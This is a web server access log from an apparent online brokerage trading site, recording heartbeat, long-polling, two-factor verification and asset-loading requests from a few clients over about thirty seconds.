[09/Jan/2026:10:29:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:29:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:29:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926033950 HTTP/1.1" -
[09/Jan/2026:10:29:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926033351 HTTP/1.1" -
[09/Jan/2026:10:29:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:29:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926039005 HTTP/1.1" -
[09/Jan/2026:10:29:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926038375 HTTP/1.1" -
[09/Jan/2026:10:29:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926044146 HTTP/1.1" -
[09/Jan/2026:10:29:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926043399 HTTP/1.1" -
[09/Jan/2026:10:29:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926049300 HTTP/1.1" -
[09/Jan/2026:10:29:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926048449 HTTP/1.1" -
[09/Jan/2026:10:29:42 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:10:29:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926054410 HTTP/1.1" -
[09/Jan/2026:10:29:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926053489 HTTP/1.1" -
[09/Jan/2026:10:29:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:29:46 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 422
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:10:29:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926059560 HTTP/1.1" -
[09/Jan/2026:10:29:47 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767926046726 HTTP/1.1" 3188
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:29:48 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:29:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926058522 HTTP/1.1" -
[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 206
[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
